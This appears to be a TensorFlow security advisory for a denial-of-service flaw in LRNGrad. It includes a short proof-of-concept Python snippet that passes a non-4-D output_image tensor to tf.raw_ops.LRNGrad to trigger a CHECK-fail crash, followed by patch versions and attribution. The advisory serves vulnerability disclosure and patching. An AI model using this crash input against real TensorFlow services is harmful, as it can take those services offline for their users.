Impact

If LRNGrad is given an output_image input tensor that is not 4-D, it results in a CHECK fail that can be used to trigger a denial of service attack.

import tensorflow as tf
depth_radius = 1
bias = 1.59018219
alpha = 0.117728651
beta = 0.404427052
input_grads = tf.random.uniform(shape=[4, 4, 4, 4], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2033)
input_image = tf.random.uniform(shape=[4, 4, 4, 4], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2033)
output_image = tf.random.uniform(shape=[4, 4, 4, 4, 4, 4], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2033)
tf.raw_ops.LRNGrad(input_grads=input_grads, input_image=input_image, output_image=output_image, depth_radius=depth_radius, bias=bias, alpha=alpha, beta=beta)

Patches

We have patched the issue in GitHub commit bd90b3efab4ec958b228cd7cfe9125be1c0cf255.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Di Jin, Secure Systems Labs, Brown University